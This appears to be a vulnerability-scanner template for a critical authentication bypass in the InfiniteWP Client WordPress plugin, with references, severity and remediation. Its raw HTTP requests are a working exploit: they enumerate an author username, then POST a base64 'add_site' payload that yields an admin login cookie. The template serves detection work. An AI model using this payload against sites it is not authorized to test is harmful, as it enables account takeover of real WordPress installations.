id: wordpress-infinitewp-auth-bypass

info:
  name: WordPress InfiniteWP Client Authentication Bypass
  author: princechaddha
  severity: critical
  description: InfiniteWP Client plugin versions 1.9.4.4 or earlier contain a critical authentication bypass vulnerability. InfiniteWP Client is a plugin that, when installed on a WordPress site, allows a site owner
    to manage unlimited WordPress sites from their own server.
  reference:
    - https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/
    - https://wordpress.org/plugins/iwp-client/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher.
  tags: wordpress,auth-bypass,wp-plugin

requests:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en-US,en;q=0.9

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded

        _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}

    redirects: true
    extractors:
      - type: regex
        name: username
        internal: true
        group: 1
        part: body
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'

      - type: regex
        name: username
        internal: true
        group: 1
        part: header
        regex:
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "wordpress_logged_in"
        part: header

      - type: word
        words:
          - "<IWPHEADER>"

        part: body
      - type: status
        status:
          - 200

# Enhanced by mp on 2022/03/21